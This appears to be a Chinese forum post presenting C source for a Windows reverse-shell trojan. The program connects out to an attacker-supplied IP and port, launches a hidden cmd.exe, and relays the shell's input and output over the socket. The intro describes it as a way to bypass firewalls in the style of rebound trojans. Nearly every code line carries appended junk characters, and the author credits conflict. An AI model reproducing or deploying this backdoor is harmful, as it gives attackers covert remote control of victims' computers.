这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 U1nw-Q+
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/* ============================== 9h4({EE2t
Rebound port in Windows NT aJ") <_+
By wind,2006/7 ~*A8+@\R
===============================*/ 4)|8Eu[p7
#include E_e6^Sk5B(
#include \R36w^c3
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#pragma comment(lib,"wsock32.lib") ",7Q
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void OutputShell(); #|&Sc_#4)
SOCKET sClient; 1i[FY?6`dh
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; nw>8GivO
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void main(int argc,char **argv) /='. 4v
{ VXIP0p@
WSADATA stWsaData; /+Lfrt
int nRet; $6OkIP.
SOCKADDR_IN stSaiClient,stSaiServer; WmY``
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if(argc != 3) F
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{ 3RLFp\i"s
printf("Useage:\n\rRebound DestIP DestPort\n"); %LVm3e9
return; [W%$qZlP
} )E@A0 W
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WSAStartup(MAKEWORD(2,2),&stWsaData); 0U%f)mG
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); vVE2m=!v
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stSaiClient.sin_family = AF_INET; 5?hw !
stSaiClient.sin_port = htons(0); %?e& WLS
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); X.hm s?]
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 8"sb;
{ ~0beuK&p
printf("Bind Socket Failed!\n"); kY*rb_2j
return; }VS5gxI1.
} yW$0\E6<r
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stSaiServer.sin_family = AF_INET; oD<kMK
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); JSW^dw&
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); yE}}c{hSn
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) )+:EJH~
{ !O `(JSoG
printf("Connect Error!"); ;\f gF@
return; E_vq
} (h>-&.`&
OutputShell(); cSXwYZDx?
} q
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void OutputShell() ^h69Kr#d4
{ ZosP(Tdq
char szBuff[1024]; j#cYS*^H
SECURITY_ATTRIBUTES stSecurityAttributes; N[s}qmPha
OSVERSIONINFO stOsversionInfo; -$\+'
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HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; $0vb^
STARTUPINFO stStartupInfo; 6
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char *szShell; zT!drq: x
PROCESS_INFORMATION stProcessInformation; W[Ls|<Q
unsigned long lBytesRead; {phNds%
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 0g+'/+Ho 4
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Y;?{|
stSecurityAttributes.lpSecurityDescriptor = 0; _lamn}(x0
stSecurityAttributes.bInheritHandle = TRUE; D9
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); <StN%2WQ1
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); .&DhN#EN0
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ,6-:VIHQ
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Wk)OkIFR
stStartupInfo.wShowWindow = SW_HIDE; \O2Rhz
stStartupInfo.hStdInput = hReadPipe; 3B84^>U<
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; *MKO
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GetVersionEx(&stOsversionInfo); vEJWFoeEFm
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switch(stOsversionInfo.dwPlatformId) e
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{
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case 1: I}1NB3>^
szShell = "command.com"; f|\onHI)>
break; %J+E/
default: )h7<?@wv&
szShell = "cmd.exe"; e )d`pQ6
break; <g$~1fa
}
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); %nf6%@s
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send(sClient,szMsg,77,0); k$blEa4
while(1) sB7#
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{ i<#QW'R (
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); h1de[q)
if(lBytesRead) A1O'|7X
{ MN\HDKN
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 4K\G16'$v
send(sClient,szBuff,lBytesRead,0); 8Vr%n2M
} o~`/_+
else nLXlU*ES
{ oKuI0-*mR
lBytesRead=recv(sClient,szBuff,1024,0); k>;`FFQU>
if(lBytesRead<=0) break; Z?h~{Mg
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); R!}H;[c
} 6^]+[q}3
} !|^|,"A)
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return; 0XE4<U
}